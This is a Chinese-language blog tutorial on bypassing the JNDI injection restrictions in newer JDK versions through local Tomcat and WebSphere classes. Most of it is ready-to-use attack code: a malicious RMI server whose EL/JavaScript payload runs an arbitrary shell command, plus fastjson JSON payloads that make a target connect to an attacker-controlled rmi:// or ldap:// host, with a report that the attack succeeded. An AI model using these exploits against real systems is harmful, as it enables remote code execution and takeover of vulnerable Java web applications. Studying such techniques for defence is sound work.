利用本地类突破JDK高版本限制进行JNDI注入

前言

一般情况下,我们在进行JNDI注入时会参考JDK的版本限制,具体的修复可以参考下图

JDK对于JNDI注入的修复

但如果JDK大于图中版本时,就不能进行JNDI注入了吗?答案不是的

触发情况

  • 1.JDK >上图版本
  • 2.Web Application use Tomcat || IBM WebSphere && can use LDAP | RMI

Payload

1.恶意RMI服务器

使用如下代码搭建恶意的RMI服务器

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        String vpsip = "your vpsip" ;
        System.out.println("Creating evil RMI registry on port 1097");
        System.setProperty("java.rmi.server.hostname",vpsip);
        Registry registry = LocateRegistry.createRegistry(1097);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','command']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("ExportObject", referenceWrapper);
    }
}

你只需要修改vpsip为你的ip,且修改command为你要执行的命令即可

随后在webapp调用rmi服务即可,例如fastjson(利用tomcat的本地类)

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsip:1097/ExportObject",
        "autoCommit":true
    }

}
Exploit示例
执行firefox举例

2.恶意LDAP服务器

本来准备自己写一个的,在逛github时偶然发现了一个轮子

Rogue JNDI

使用它可以搭建基于LDAP恶意服务器合集

LDAP恶意服务器合集

我们还是以fastjson为攻击目标举例,这回我们把JDK换成JDK8U211

tomcat

我们构造好payload进行攻击(利用tomcat的本地类)

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://vpsip:1389/o=tomcat",
        "autoCommit":true
    }

}

可见已经弹出Firefox,攻击成功

弹出Firefox
攻击成功

关于tomcat

由于tomcat7并不含有javax.el.E​​LProcessor类,而tomcat8含有

javax.el.E​​LProcessor

由此得知tomcat7无法触发.

已知可利用的本地类

Tomcat ----> javax.el.ELProcessor
IBM WebSphere ----> com.ibm.ws.webservices.engine.client.ServiceFactory || com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

利用上面的已知类你可以自定义想要的RMI恶意服务器

Reference

Exploiting JNDI Injections in Java:
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
rogue-jndi:
https://github.com/veracode-research/rogue-jndi

你可能感兴趣的:(利用本地类突破JDK高版本限制进行JNDI注入)